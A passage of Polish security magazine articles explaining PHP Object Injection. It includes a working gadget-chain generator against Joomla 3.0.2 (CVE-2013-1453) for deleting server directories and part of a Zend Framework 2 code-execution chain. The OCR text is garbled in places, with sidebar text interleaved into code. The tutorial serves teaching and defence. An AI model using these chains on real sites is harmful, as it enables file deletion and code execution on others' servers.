Burp Suite Pro mozna zakupi¢ samodzielnie na stronach producenta, ewentual-
nie w firmie Securitum - jesli potrzebujesz polskiej faktury VAT.

PODSUMOWANIE

Burp Suite jest narzedziem, ktére trzeba przetestowac¢ - daje wielkg swobode
i znacznie utatwia codzienng prace inzyniera bezpieczenstwa.

Niniejsza cze$¢ cyklu artykutéw o Burpie jest krotkim przegladem mozliwosci
pakietu, ale juz w nastepnej czesci skupimy sie szczegétowo na najpopularniejszym
module Burpa, czyli zaktadce Proxy.

Adrian 'Vizzdoom' Michalczyk. Zajmuje sie tworzeniem bezpiecznej
architektury, szukaniem podatnosci, zarzadzaniem ryzykiem, administracja S
systemami IT oraz implementowaniem mechanizméw bezpieczenstwa dla b Sy

zespotu pracujgcego w metodykach zwinnych. ."‘ .
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Michat Bentkowski
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PHP Object Injection
- mato znana klasa podatnosci

v W tym artykule:

Pokaze w skrdcie, jak dziata mechanizm serializacji w PHP,
Pokaze, na czym polega podatno$¢ PHP Object Injection,

Przedstawie rzeczywisty przypadek Joomli — w ktdrej podatnos¢ pozwalata usuwac dowol-
ne pliki z serwera.

Wyszukiwanie,,PHP Object Injection” w Google'u zwraca tez wyniki dla frazy ,dependency injection”.
W rzeczywistosci,,object injection”i,dependency injection” to dwa catkowicie rézne terminy, ten
drugi nie ma zwigzku z bezpieczeristwem; jest jednym z wzorcow projektowych w programowaniu
obiektowym.

(DE)SERIALIZACJA

Zanim przejdziemy do samego Object Injection, najpierw omowimy czym jest se-
rializacja. Jak podaje Wikipedia:

Serializacja — w programowaniu komputerow proces przeksztatcania
obiektdw, tj. instancji okreslonych klas, do postaci szeregowej, czyli

w strumien bajtéw, z zachowaniem aktualnego stanu obiektu. {(...) Se-
rializacja stuzy do zapisu stanu obiektu, a pdzniej do odtworzenia jego
stanu.

Procesem odwrotnym do serializacji jest deserializacja. Obiekty zserializowane
moga zostac zapisane na dysku, przechowane w pamieci badz w bazie danych.

1. Serializacja / deserializacja.

W jezyku PHP do serializacji i deserializacji uzywane sa funkcje: serialize oraz

unserialize.

Deserializacja

Serializacja
Baza danych
‘z’:;tci" —— Ciag bajtow > Plik
Pamie¢

Zobaczmy to na prostym przyktadzie:

W przyktadzie definiowana jest klasa o nazwie Test, zawierajgca dwa pola publicz-
ne: $x oraz $y. W zmiennej $t tworzymy instancje tej klasy i przypisujemy wartosci

1. <?php

2. class Test

3. {

4. public $x;

5. public $y;

6. }

7.

8. $t = new Test();
9.

10. $t->x=5199;

11. $toy="tekst";
12.

13. echo serialize($t)."\n";
14. ?>

Ciag bajtéw

>

Obiekt w
pamieci
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do pol. Pozniej wyswietlamy na ekranie zserializowang forme tej instancji. Wynik
wykonania kodu pokazano ponizej:

I 1. 0:4:"Test":2:{s:1:"x";1:5199;s:1:"y";s:5:"tekst";}

Interpretacja otrzymanego fancucha znakéw nie powinna by¢ trudna nawet dla nie-

wprawionego oka, ale przejdzmy przez nig krok po kroku:

» 0:4:"Test": - Obiekt klasy, ktérej nazwa ma 4 znaki i brzmi: Test.

» 2:{-zostang podane wartosci dla dwéch pdl,

» s:1:"x";i:5199; - definicja pola, ktérego nazwa ma 1 znak i brzmi x, za$ war-
tosc jest typu integer i wynosi 5199,

» s:1:"y";s:5:"tekst"; - definicja pola, ktérego nazwa ma 1 znak i brzmiy, za$
wartosc jest typu string, ma 5 znakéw i jest rowna ,, tekst”.

Teraz wykonajmy operacje w drugg strone, tj. zdeserializujmy klase z podanego
powyzej ciaggu tekstowego.

1. <?php

2. class Test

3. {

4, public $x;

5. public $y;

6. }

7.

8. $serialized = '0:4:"Test":2:{s:1:"x";1:5199;s:1:"y";s:
5:"tekst";}"';

9. $0 = unserialize($serialized);

10. print_r($o);

11.

12. ?>

Do zmiennej $o przypisujemy zdeserializowany obiekt i wypisujemy informacje
o tym obiekcie za pomoca funkgji print_r(). Musimy pamieta¢, ze w tym przykta-
dzie tez musi znalez¢ sie definicja klasy Test, gdyz w przeciwnym razie parser PHP
nie potrafitby odtworzyc¢ instancji nieznanej mu klasy.

Rezultat wykonania kodu powinien by¢ nastepujacy:

1. Test Object
2. (

3. [x] => 5199
4, [y] => tekst
5. )

Jak wida¢, wskutek deserializacji obiektu udato sie odtworzy¢ pierwotny obiekt.

OBJECT INJECTION

Warning Do not pass untrusted user input to unserialize(). Unserialization can result in code being loaded
and executed due to object instantiation and autoloading, and a malicious user may be able to exploit this.
Use a safe, standard data interchange format such as JSON (via json_decode() and json_encode()) if you need
to pass serialized data to the user.

Ostrzezenie z dokumentacji PHP

Tyle jesli chodzi o podstawy. Dokumentacja PHP w artykule o funkcjiunserialize()
ostrzega przed uzywaniem jej na niezaufanych danych uzytkownika.
W tym rozdziale zobaczymy, dlaczego przyjmowanie takich danych moze by¢ nie-
bezpieczne oraz pokazemy na prostym przyktadzie ztosliwe wykorzystanie podatnosci.
Zacznijmy od istotnej uwagi: w PHP serializacji podlegaja tylko atrybuty obiek-
tow klas. Nie ma mozliwosci zserializowania kodu metod, ani tez nie ma sposobu,
by w wyniku deserializacji wywota¢ dowolng metode. W PHP istniejg jednak tzw.
magiczne metody (magic methods). Majg one specjalne znaczenie i s wywotywane
w pewnych okolicznosciach. tatwo mozna je rozpozna¢ po dwéch znakach pod-
kreslenia na poczatku nazwy (np. __construct()). Z punktu widzenia PHP Object
Injection najbardziej interesowac nas beda trzy metody:
» _ destruct() - destruktor, wywotywany, gdy do danej instancji klasy nie pro-
wadzg juz zadne referencje badz w trakcie wytaczania aplikacji,
» _ wakeup() - metoda wywotywana po wykonaniu funkcji unserialize(),
» _ toString() — metoda wywotywana, gdy istnieje potrzeba rzutowania obiek-
tu na string (np. w razie wywotania echo $obiekt;).
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Stworzmy prosta klase Logger, ktéra w konstruktorze generuje sciezke do pliku
z tymczasowym logiem oraz tworzy ten plik, za$ w destruktorze go usuwa.

1 <?php

2 define('LOG_FILE_PATH', '/var/log/sekurak/');
3 class Logger

4 {

5. private $logfile;

6

7 public function _ construct()

8 {

9 $this->logfile = LOG_FILE_PATH . "logger.log.tmp";
10. touch($this->logfile);

11. }

12. public function _ destruct()

13. {

14. echo "Usuwamy ".($this-logfile)."...\n";
15. unlink($this->logfile);

16. }

17. }

18. $logger = new Logger();

19. var_export(serialize($logger));

20. ?>

Wynik dziatania funkcji serialize () moze zawierac bajty zerowe. Dlatego zamiast echo , do
wypisywania warto$ci wywotan tej funkgji, bedziemy uzywac var_export ().

Oczywiscie rzeczywisty logger powinien zawiera¢ jeszcze dodatkowe metody
(chocby log()), ale nie zostaty tutaj zawarte dla wiekszej klarownosci przyktadu ;).

W wyniku wykonania powyzszego kodu powinnismy otrzymac dwie linie:

1. Usuwamy /var/log/sekurak/logger.log.tmp...
2. '0:6:"Logger":1:{s:15:"" . "" . 'Logger' . "" .
"logfile";s:31:"/var/log/sekurak/logger.log.tmp";}"

Zauwazcie, ze w danych zserializowanych znajduje sie petna sciezka do pliku, kto-
ry jest usuwany. Sprobujmy wiec te Sciezke podmieni¢ na inng, wskazujaca jakis
wazny plik w systemie. Na przyktad: /etc/bardzo_wazny plik.

Instancja klasy Logger z ta $ciezka bedzie sie prezentowata nastepujaco:

1. '0:6:"Logger":1:{s:15:"" . "" . 'Logger'
'logfile";s:22:"/etc/bardzo_wazny plik";}'

Oczywiscie musiatem zamieni¢ s:31 z poprzedniego przyktadu na s:22, aby zga-
dzata sie dtugos¢ tancucha znakéw.

Wprowadzmy mata modyfikacje do kodu — zamiast tworzy¢ instancje klasy przez
operator new, po prostu jg zdeserializujmy.

1 <?php

2 define('LOG_FILE_PATH', '/var/log/sekurak/"');
3 class Logger

4 {

5. private $logfile;

6

7 public function _ construct()

8 {

9 $this->logfile = LOG_FILE PATH . "logger.log.tmp";
10. touch($this->logfile);

11. }

12. public function _ destruct()

13. {

14. echo "Usuwamy ".($this->logfile)."...\n";
15. unlink($this->logfile);

16. }
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17. }

18.

19. $serialized = '0:6:"Logger":1:{s:15:"" . "" . 'Logger'
'logfile";s:22:"/etc/bardzo_wazny_plik";}"';

20. $0 = unserialize($serialized);

21.

22. ?>

Wynik wykonania powinien by¢ nastepujacy (chyba ze plik /etc/bardzo_wazny_
plik rzeczywiscie istnieje ;)):

1. Usuwamy /etc/bardzo_wazny plik...

2. PHP Warning: unlink(/etc/bardzo_wazny plik): No such
file or directory in /root/unpickle/php/ser.php on
line 15

Reasumujac: aplikacja zawierajaca klase Logger, przyjmujaca dane do deseria-
lizacji z niezaufanych Zrédet, jest podatna na usuwanie dowolnych plikéw na
serwerze.

Wazny wniosek, jaki ptynie z powyzszego rozumowania, jest taki, ze mozliwosci,
jakie daje atak Object Injection, Scisle zaleza od tego, co zawieraja magiczne
metody klas uzywanych w tej aplikacji. Rzeczywiste studia przypadkéw pokazu-
ja, ze Object Injection moze prowadzi¢ do praktycznie kazdej podatnosci webowej
(SQL Injection, XSS, Path Traversal, Remote Code Execution itp.). Kilka rzeczywistych
przyktadow zawartem na koricu dokumentu w ramce ,Dalsza lektura”.

Nie zawsze jednak atak da sie przeprowadzi¢ tak prosto, jak w przyktadowej
klasie Logger. Czesto destruktory oraz inne magiczne metody nie zawieraja ,cieka-
wego” kodu same w sobie, a dopiero inne metody, wywotywane przez nie, moga
zawierac kod, ktory da sie wykorzystac ztosliwie.

JOOMLA - STUDIUM PRZYPADKU

Wezmy na tapete Joomle w wersji 3.0.2. W zesztym roku zostat ogtoszony btad
CVE-2013-1453:

plugins/system/highlight/highlight.php in Joomla! 3.0.x through 3.0.2
and 2.5.x through 2.5.8 allows attackers to unserialize arbitrary PHP
objects to obtain sensitive information, delete arbitrary directories,
conduct SQL injection attacks, and possibly have other impacts via the
highlight parameter.

Opis tej podatnosci po angielsku mozna tez znalez¢ na blogu badacza, ktdry odkryt btad.

Analize zaczynamy od pliku wspomnianego w CVE, czyli, plugins/system/highlight/
highlight.php.

57. $terms = $input->request->get('highlight', null,
'base64');

58. $terms = $terms ? unserialize(base64_decode($terms)) :
null;

Podatnos¢ jest widoczna: pobierany jest parametr GET highlight, dekodowany
z base64 i deserializowany.

Jak juz nauczylismy sie z poprzedniego rozdziatu, musimy przejrze¢ magiczne
metody w klasach Joomli w poszukiwaniu kodu, ktory bedzie sie dato ztosliwie wy-
korzystac. Sprawdzmy, jak duzo metod bedzie do przejrzenia...

:~/joomla# find -name “*.php |xargs grep destruct | wc -1

:~/joomla# find -name

2. Poszukiwanie magicznych metod.

W sumie 64 metody (cho¢ wynik jest zawyzony ze wzgledu na uzycie prostego grepa).
Nie jest to duzo i jest mozliwe do realizacji w miare krotkim przedziale czasowyme ;)

Pierwszg interesujagcg metode znajdziemy w pliku plugins/system/debug/de-
bug.php, jest to destruktor klasy plgSystemDebug. Na poczatku ciata tej metody
znajdziemy warunek:
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84. public function __ destruct()

85. {

86. // Do not render if debugging or language debug is
not enabled

87. if (!JDEBUG && !$this->debuglLang)

88. {

89. return;

90. }

Wywotywanie destruktora jest natychmiast koriczone, jesli wartos¢ pola $this-
>debuglang jest ustawiona na FALSE . Musimy zatem pamietac o ustawieniu tego
atrybutu na TRUE podczas tworzenia wtasnej instancji.

Dalszy fragment destruktora:

93. if (!$this->isAuthorisedDisplayDebug())
94, {

95. return;

9. }

Przyjrzyjmy sie wiec metodzie isAuthorisedDisplayDebug():

196. // If the user is not allowed to view the output then
end here

197. $filterGroups = (array) $this->params->get('filter_
groups', null);

Pobierane jest pole params z aktualnej instancji klasy, na ktérym wywotywana
jest metoda get (). Zapamietajmy, ze pierwszym argumentem owego wywota-
nia jest'filter_groups'. Poniewaz w ramach serializacji mozemy pod $this-
>paramspodstawi¢ dowolny obiekt, przejrzyjmy klasy ze zdefiniowang metoda
get().Jedna znajdziemy w pliku libraries/joomla/input/input.php, jest to klasa JIn-
put. Oto fragment:

157. public function get($name, $default = null, $filter =
"cmd ')

158. {

159. if (isset($this->data[$name]))

160. {

161. return $this->filter->clean($this->data[$name],

$filter);

162. }

163.

164. return $default;

165. }

Widzimy, ze aby przejs¢ przez warunek z linii 159, musimy zdefiniowac w naszej in-
stancji wartos¢ pod $this->data[ 'filter_groups']. Dalej w linii 161 wywotujemy
metode clean(), wiec podobnie jak wczesniej, szukamy klas z takg metoda. Zwré¢-
my uwage, ze drugi argument wywotania bedzie na pewno réwny 'cmd .

Predzej czy pozniej wyladujemy w pliku libraries/joomla/cache/storage/file.php
w metodzie clean() klasy JCacheStorageFile

182. public function clean($group, $mode = null)
183. {

184. $return = true;

185. $folder = $group;

186.

187. if (trim($folder) == '")

188. {

189. $mode = 'notgroup’;

190. }

191.

192. switch ($mode)

193. {

194. case 'notgroup’:

195. $folders = $this-> folders($this->_root);
196. for ($i = 0, $n = count($folders); $i < $n; $i++)
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197. {

198. if ($folders[$i] != $folder)

199. {

200. $return |= $this-> deleteFolder($this-> root .

"/' . $folders[$i]);

201. }

202. }

203. break;

204. case 'group':

205. default:

206. if (is_dir($this->_root . '/' . $folder))

207. {

208. $return = $this-> deleteFolder($this-> root . '/’
. $folder);

209. }

210. break;

211. }

212. return $return;

213. }

W instrukcji switch zostanie wykonany warunek default. Tam z kolei, usuwany
jest katalog, ktérego sciezka jest pobierana z pola $this->_root oraz ze zmienne-
j$folder (w ktdrej znajdzie sie pierwszy argument wywofania funkgji). Obie warto-
$ci mamy pod kontrolg, wiec mozemy usuwaé dowolne katalogi na dysku.

Dla przypomnienia, potrzebujemy nastepujacych elementow:

» Klase plgSystemDebug, z atrybutem $debugLang=true; oraz obiektem klasy
JInput w polu $params;

» Klase JInput, w ktorej musimy zdefiniowac tablice asocjacyjng w polu $data
(w ktoérej, z kolei, pod kluczem 'filter_groups' powinna znajdowac sie nazwa
usuwanego katalogu) oraz obiekt klasy JCacheStorageFile w polu $filter.

» Klase JCacheStorageFile, w ktérej atrybut $_root powinien wskazywaé na
$ciezke usuwanego katalogu.

Format serializacji PHP jest dos¢ prosty i odpowiedni payload mozna przygotowac

recznie. Postuzymy sie jednak kodem PHP, aby proces uprosci¢ i uczyni¢ bardziej
czytelnym. Kod ten nie musi by¢ w zaden sposéb powigzany z kodem Joomli — po
prostu zdefiniujemy klasy o takich nazwach, jakie sg nam potrzebne i zdefiniujemy
tylko pole wspomniane powyzej. Pozostate atrybuty zostang domyslnie zainicjalizo-
wane przez PHP. Na koncu - zserializowany obiekt enkodujemy do base64, bo, jak
pamietamy, modut highlight uzywat tego kodowania. W moim przyktadzie, katalo-
giem, ktory aplikacja bedzie probowata usung¢ bedzie /var/www/katalog.

1. <?php

2. class JCacheStorageFile {

3. protected $ root = '/var/www';
4. }

5. class JInput {

6. protected $data = array(filter_groups => 'katalog');
7. protected $filter = null;

8. public function __ construct() {
9. $this->filter = new JCacheStorageFile();
10. }

11. }

12. class plgSystemDebug {

13. private $debuglLang = true;
14. public $params = null;

15. public function _ construct() {
16. $this->params = new JInput();
17. }

18. }

19.

20. $0 = new plgSystemDebug();

21. $s = serialize($0);

22. $b = base64_encode($s);

23. var_export ($s);

24.

25. echo "<br><br>$b";

26. ?>
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W odpowiedzi zobaczymy obiekt klasy p1gSystemDebug w postaci zserializowa-
nej oraz to samo w kodowaniu base64.

Teraz pozostaje juz tylko wklei¢ ten base64 do Joomli i liczy¢, ze sie wykona po-
prawnie. Sprawdzam to na lokalnej instalacji:

3l e R

& Most Visitedv  Jll Offensive Security S Kali Linux " Kali Docs ﬂExpLoit—DB W Aircrack-ng

(5] [ localhost/generate php

'0:14:"plgSystemDebug":2:{s:25:"" . "\0" . 'plgSystemDebug"'. "0".
‘debuglLang";b:l;s:6:"params";0:6:"[Input":2:{s:7:"" . 0" . *" . "\0" . 'data™;a:1:

{s:13:"filter groups";s:7:"katalog";}s:9:" . "0" . * _"\0" . 'filter";0:17:"JCacheStorageFile":1:
{s:8:" . "0" . "™ "0".' root";s:8:"fvarfwww"}}}'

TzoxNDoicGxnU3lzdGVtRGVidWeiQjl6e3MEMjUSIgBwhGd TeXNOZW L EZW]1 ZwB kZW] 1 Z0xh bt

3. Generowanie zserializowanego obiektu.

W odpowiedzi wyskoczyta jednak tylko biata strona, z kolei w error_logu pojawit sie
problem:

u

ﬁ @ [ localhost/joomla/?highlight=TzoxMN DoicGxnl3l b @‘ [BV '

i Most Visited~ [l Offensive Security e, Kali Linux ‘% Kali Docs ﬂExpLoit—DI

4. OdpowiedZ Joomli — biata strona.

5. Btgd PHP w error_log.

45

Okazuje sig, ze destruktor klasy plgSystemDebug nie zostaje w ogdle wykonany,
poniewaz wczes$niej pojawia sie fatal error: obiekt JInput nie moze zosta¢ zamie-
niony na string...

Poszukajmy przyczyny problemu; wracamy do pliku highlight.php, a wiec wino-
wajcy podatnosci.

66. // Clean the terms array

67. $filter = JFilterInput::getInstance();

68.

69. $cleanTerms = array();

70. foreach ($terms as $term)

71. {

72. $cleanTerms[] = $filter->clean($term, 'string');
73. }

Okazuje sig, ze po zdeserializowaniu danych, aplikacja ,czysci” (wywofanie $filter-
>clean())odtworzone obiekty. Owo czyszczenie sktada sie miedzy innymizochrony
przed XSS-em, do ktérego wymagane jest rzutowanie obiektu na string. Jak widzie-
lisSmy w komunikacie o btedzie, przy klasie JInput to sie nie udato i program zostat
przerwany. Problem rozwigzemy w dos$¢ prosty sposob: znajdziemy w Joomli do-
wolna klase ze zdefiniowana metoda __toString() i w niej zagniezdzimy obiekt
plgSystemDebug. Po szybkim przejrzeniu zrodet, wybratem klase JAccessRule(plik
libraries/joomla/access/rule.php), z taka metoda:

172. public function __ toString()

173. {

174. return json_encode($this->data);
175. }

Modyfikuje wiec kod odrobine:

1. <?php
2. class JCacheStorageFile {
3. protected $ root = '/var/www';
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4 }

5 class JInput {

6. protected $data = array(filter_groups => 'katalog');
7 protected $filter = null;

8 public function _ construct() {

9. $this->filter = new JCacheStorageFile();
10. }

11. }

12. class plgSystemDebug {

13. private $debuglLang = true;

14. public $params = null;

15. public function __ construct() {

16. $this->params = new JInput();

17. }

18. }

19. class JAccessRule {

20. public $debug;

21. public function __ construct() {

22. $this->debug = new plgSystemDebug();
23. }

24. }

25.

26. $0 = new JAccessRule();

27. $s = serialize($0);

28. $b = base64 _encode($s);

29. var_export ($s);

30.

31. echo "<br><br>$b";

32. ?>

Jedyna nowoscia jest dodanie klasy JAccessRule, w ktérej zdefiniowatem pole
$debug z obiektem plgSystemDebug.
Wygenerujmy teraz payload, wrzu¢my go do Joomli i zobaczmy, czy sie wykona.

v@| [Bvcoge @

S Most Visitedv  JllOffensive Security S Kali Linux e Kali Docs ﬂExpLoit-DB W Aircrack-ng

'@ [ localhost/generate.php

'0:11:"JAccessRule":1:{s:5:"debug™;0:14:"plgSystemDebug":2:{s:25:"" . "\0" .
'‘plgSystemDebug' . 0" . 'debuglLang”;b:1;s:6:"params";0:6:"JInput":2:{s:7:"" .
'‘data";a:1:{s:13:"filter groups";s:7:"katalog";}s:9:"" . "\0" . *' . "\0".
‘filter";0:17:"]CacheStorageFile":1:{s:8:"" . 0" . *' _ "0" . ' root";s:8:"fvarfwww"

TzoxMToiSkFjY2Vzcl]1 bGUIOJE6e3MENTolZGVidWeiO086MTQEINBsZ1 N5c3RIb

6. Generowanie zserializowanego obiektu, drugie podejscie.

v @] [B~ Google

5 Most Visited~ [l|Offensive Security " Kali Linux " Kali Docs ﬂEpr.oit—DB W Aire

* () l localhost/joomla/?highlight=TzoxMToiSkFjY 2V

Testowy sajt

W arnin
Warning I
JCacheStorageFile::_deleteFolderJFolder: :delete; Could not delete folder. Path:

arfwww/kKatalog H

Home

Tym razem exploit wykonat sie poprawnie :) Wprawdzie widzimy ostrzezenie Joom-
li, ze nie moze usunac folderu, ale zrobitem to tylko w celach prezentacji (gdyby
webserwer miat uprawnienia do usuwania tego pliku, to zrobitby to).
Podsumowujac: udato sie wykorzystac btad typu PHP Object Injection w Joomli
do usuwania folderéw na serwerze.
Na zakonczenie przenalizujmy jeszcze raz przeptyw dziatania exploita:
1.W pliku highlight.php deserializowany jest ciag znakéw z parametru GET
highlight.
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2. Gdy zostata zniszczona ostatnia referencja do zdeserializowanego obiektu, wy-
wotywany jest destruktor obiektu JAccessRule.

3. Niszczony jest obiekt plgSystemDebug.
» W destruktorze wywotywana jest metoda $this->params->get('filter_
groups', null), gdzie pod $this->params umiescilismy obiekt klasy JInput.
» W metodzie get() obiektu JInput wywotywana jest metoda $this-
>filter->clean('katalog', 'ecmd') , gdzie pod $this->filter umiescilismy
obiekt klasy JCacheStorageFile.
» W metodzie clean() obiektu JCacheStorageFile wywotywana jest me-
todag$this-> deleteFolder($this-> root . '/' . $folder) , ktéra osta-
tecznie prowadzi do usuniecia wskazanego przez nas katalogu ( /var/www/
katalog) — gdyz pod $this->_root umiescilismy $ciezke /var/www/, zas$fol-
der==="katalog"'.

W ramach treningu dla zainteresowanych czytelnikéw, polecam sprébowac zmie-
rzy¢ sie z ta sama wersja Joomli i znalez¢ SQL Injection ;)

PODSUMOWANIE

Nigdy nie nalezy deserializowac¢ danych otrzymywanych od uzytkownika. Na-
razamy sie w ten sposéb na PHP Object Injection, ktéry, w zaleznosci od uzywanych
klas w aplikacji, moze prowadzi¢ do wielu innych podatnosci:

» usuwanie plikow/katalogéw na serwerze,

» SQL Injection,

» XSS,

» zdalne wykonywanie kodu.

W ramach zabezpieczenia sie przed atakiem, powinnismy uzy¢ innego formatu,
np. JSON, ktéry sam w sobie nie umozliwia tworzenia obiektéw dowolnych klas.
Jedli deserializacja danych jest niezbedna, warto pomysle¢ o dodatkowym zabez-
pieczeniu, takim jak klucz HMAC lub szyfrowaniu.

Inne jezyki programowania obstugujace deserializacje rowniez moga by¢ podatne na problem analogicz-
ny do PHP Object Injection. Procedura exploitacji tych podatnosci znaczaco sie jednak rézni pomiedzy
poszczegdlnymi jezykami. Juz wkrétce pokazemy, jak wykorzysta¢ podobna podatno$¢ w Pythonie.

DALSZA LEKTURA

Object Injection w Joomli
Object Injection w WordPressie
Inny Object Injection w WordPressie

Object Injection w IPB (Invision Power Board)

PHP Object Injection Revisited — prezentacja z konferencji Confidence
2013, préba bardziej generycznego exploitowania podatnosci.

Michat Bentkowski. Realizuje testy penetracyjne oraz audyty bezpieczeristwa
w firmie Securitum. Autor w serwisie sekurak.pl. Aktywnie (i z sukcesem)
uczestniczy w znanych programach bug bounty.
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PHP Object Injection
i ZendFramework?2

Podatnos¢ PHP Object Injection jest juz czytelnikom Sekuraka
znana; opisywaliSmy ja, pokazujac na przykladzie btedu tego
typu w Joomli jak doprowadzi¢ do usuwania dowolnego pliku
na dysku. Tym razem przedstawimy nasze autorskie badanie,
w jaki sposéb mozna wykorzystac te podatnos¢ dowykonania
dowolnego kodu, jesli odnajdziemy jg w aplikacji korzystajacej
z bardzo popularnego frameworka dla PHP: Zend.

KROTKIE PRZYPOMNIENIE

W telegraficznym skrécie, podatnos¢ PHP Object Injection wigzata sie z wywotaniem

funkgji unserialize() z danymi pochodzacymi od uzytkownika. Dzieki temu ataku-

jacy mogt zainicjalizowac¢ dowolne klasy w podatnym kodzie, a takze — przy odrobi-
nie szczescia — wptyna¢ na przeptyw dziatania programu. Byto to mozliwe dzieki ma-
gicznym metodom wywotywanym automatycznie przez PHP w pewnych sytuacjach.

W kontekscie tego artykutu bedg nas interesowac konkretnie nastepujgce metody:

» _ destruct() - wywotywana w momencie niszczenia obiektu (destruktor),

» _ toString() - wywotywana, gdy dana klasa musi zosta¢ zinterpretowana jako
string (np. w przypadku poréwnania $obj == "abc"),

» _ call() - wywotywana, gdy probowano odwotac sie do metody nieistniejacej
w danej klasie. Na przyktad: zatézmy, ze prébujemy wykona¢ $obj->jakas-
Metoda("abc"), jednak jakasMetoda() nie jest zdefiniowana dla klasy kryjacej
sie pod zmienng $obj. PHP sprébuje wéwczas wywotaé metode _ call-
("jakasMetoda", array("abc")).

EXPLOITUJEMY ZENDA!

W przyktadzie uzyty jest Zend w wersji 2.3.3. Dziatanie poszczegdlnych klas moze sie minimalnie roznic
w innych wersjach, ale ogéIny przeptyw dziatania powinien byc taki sam dla dowolnej wersji Zenda
w wersjach 2.x.

Spéjrzmy zatem co ciekawego kryja w sobie klasy Zenda. Jak to zazwyczaj bywa,
zaczynamy od destruktorow. Najpierw destruktor klasy \Zend\Http\Response\
Stream

287. public function __ destruct()

288. {

289. if (is_resource($this->stream)) {

290. $this->stream = null; //Could be listened by
others

291. }

292. if ($this->cleanup) {

293. ErrorHandler: :start(E_WARNING);

294. unlink($this->streamName);

295. ErrorHandler: :stop();

296. }

297. }

Wyglada niezle:) Jesli $this->cleanup bedzie réwne true, wéwczas wykona sieun-
link() (czyli usuwanie pliku na dysku) dla $ciezki pobranej z $this->streamName.
Juz samo usuwanie plikdw jest niezta podatnoscia sama w sobie, ale w tym przy-
padku zwracam uwage na ten kod z innego powodu — mianowicie argumentem dla
funkcji unlink () musi by¢ zmienna znakowa, zatem jesli podstawimy pod $this-
>streamName jakas klase, zostanie w niej wykonane __toString(). Co z kolei pro-
wadzi nas do klasy \Zend\Tag\Cloud:

313. public function __ toString()
314. {

315. try {

316. $result = $this->render();

Spoéjrzmy w takim razie na render():

294, public function render()
295. {
296. $tags = $this->getItemList();
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297. if (count($tags) === 0) {

298. return '';

299. }

300. $tagsResult =
$this->getTagDecorator()->render($tags);

301. $cloudResult =
$this->getCloudDecorator()->render($tagsResult);

302. return $cloudResult;

303. }

W Zendzie stosowane sg gettery i settery, totez getItemList() zwraca $this-
>tags, zas getTagDecorator() zwraca $this->tagDecorator. Powyzszy kod po-
zwala w takim razie wykona¢ metode render() dla klasy kryjacej sie pod $this-
>tagDecorator, przekazujac jako argument $this->tags.

Metode render () odnajdujemy w klasie \Zend\View\Renderer\PhpRenderer.

446. public function render($nameOrModel, $values = null)
447. {
448. if ($nameOrModel instanceof Model) {

Pamietamy, ze mielismy kontrole nad tym, jaki argument jest przesytany do tej funk-
¢ji. Na samym poczatku ciata funkgji jest sprawdzenie, czy $nameOrModel (czyli nasz
argument) jest instancja klasy Model. Zadbamy o to, by tak nie byto, a wiec pominmy
ten blok kodu i patrzymy dalej:

I 476. $this->addTemplate($nameOrModel);

Wykonana zostanie funkcja addTemplate()...

559. public function addTemplate($template)
560. {

561. $this->_ templates[] = $template;
562. return $this;

563. }

... ktéra po prostu dopisuje do tablicy $this->__ templates argument, ktéry zostat
do niej przekazany. Wracamy do render():

495. while ($this->__ template = array_pop($this->__
templates)) {
496. $this->_ file = $this->resolver($this->__ template);

Pobierany jest ostatni element z tablicy $this->templates, a nastepnie jest on
przekazywany do metody resolver(). Zobaczmy, czym ta metoda sie zajmuje.

196. public function resolver($name = null)

197. {

198. if (null === $this->__ templateResolver) {

199. $this->setResolver(new TemplatePathStack());

200. }

201. if (null == $name) {

202. return $this->_ templateResolver->resolve($name,
$this);

203. }

Tym razem wywotywana jest metoda resolve() na obiekcie kryjacym sie
pod$this->__ templateResolver. Tradycyjnie szukaliby$my jakiejs ciekawej klasy
zawierajacej resolve(), wyjatkowo jednak zastosujemy inne podejscie... Gdyby-
$Smy pod $this->_ templateResolver schowaliinstancje tej samej klasy, na ktérg
teraz patrzymy (a wiec \Zend\View\Renderer\PhpRenderer), silnik PHP nie odna-
laztby metody resolve () — bowiem nie jest ona zdefiniowana - dlatego wywotatby
magiczng metode _ call().

393. public function _ call($method, $argv)

394. {

395. if (l!isset($this->__ pluginCache[$method])) {

396. $this->_ pluginCache[$method] =
$this->plugin($method);

397. }

398. if (is_callable($this->_ pluginCache[$method])) {
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399. return call user_func_array($this->_ 3. class Cloud { SEKURAK'PL/ OFFLINE
pluginCache[$method], $argv); 4, protected $tags = "phpinfo()";
400. } 5. protected $tagDecorator;
401. return $this->_ pluginCache[$method]; 6. function _ construct() { © C(Czymjest podatnosé CSRF
402. } 7. $this->tagDecorator = new \Zend\View\Renderer\ (Cross-Site Request Forgery)?
PhpRenderer();
P O © Problemy z XXE
Mamy wykonanie funkgji call_user_func_array(), w ktérej kontrolujemy pierw- 8. } (XML eXternal Entity)
szy parametr, co oznacza, ze mozemy wywota¢ dowolna metode w dowolnej kla- 9. }
sie. Szczesliwie — ze wzgledu na wczesdniejszy przeptyw programu — mamy tez kon- 1e. } © Czymjest
trole nad pierwszym argumentem przekazywanym do tej funkgji! 11. Content Security Policy?

Wydawatoby sie, ze w tym momencie moglibysmy po prostu odpali¢ system() 12. namespace Zend\Serializer\Adapter { class PhpCode { } } © HSTS cayli
lub a-ssert( ), ale, z przyczyn nie do korca dla mnie jasnych, takie rozwigzanie nie 13. HTTP Strict Transport Security
zadziatato. 14. namespace Zend\View\Renderer {

Z ratunkiem przychodzi jednak sam Zend i klasa\Zend\Serializer\Adapter\Php- 15. class PhpRenderer { © Czymjest SQL injection?

Code z interesujgcg metoda unserialize(): 16. private $__ pluginCache; © Czymjest XSS?
37. public function unserialize($code) 17. private $__templateResolver;
38. { 18. function _ construct($i=0) { © Pozwalasz tadowac pliki SVG?
. . _ '
39. ErrorHandler: :start(E_ALL); 13. switch (31) { PSR S0
20. case 0: $this->_ templateResolver = new \Zend\ . .
40. t = null; _
#re ) nu ) ) View\Renderer\PhpRenderer(l); break; © Wprowqdzeme do narzedzia
41. // This suppression is due to the fact that the . . N " Burp Suite
E 21. case 1: $this->_ pluginCache = array("resolve
rrorHandler cannot ..
o ) ) => array(new \Zend\Serializer\Adapter\PhpCode(), PHP Obiect Iniecti
42. // catch syntax errors, and is intentionally left in place. "unserialize")); break; © Ject Injection o
43. $eval = @eval('$ret=' . $code . ';'); - ) — mato znana klasa podatnosci
23. © PHP Object Injection
Nie mogto by¢ lepiej - wywotywany jest eval() zargumentem przekazywanym do 24. } i ZendFramework2
funkdiji. 25.
) T ; dat ie odnalez¢ cigg klas w Zendzie, ktéry d dzit d > / ) CESPAS Aer
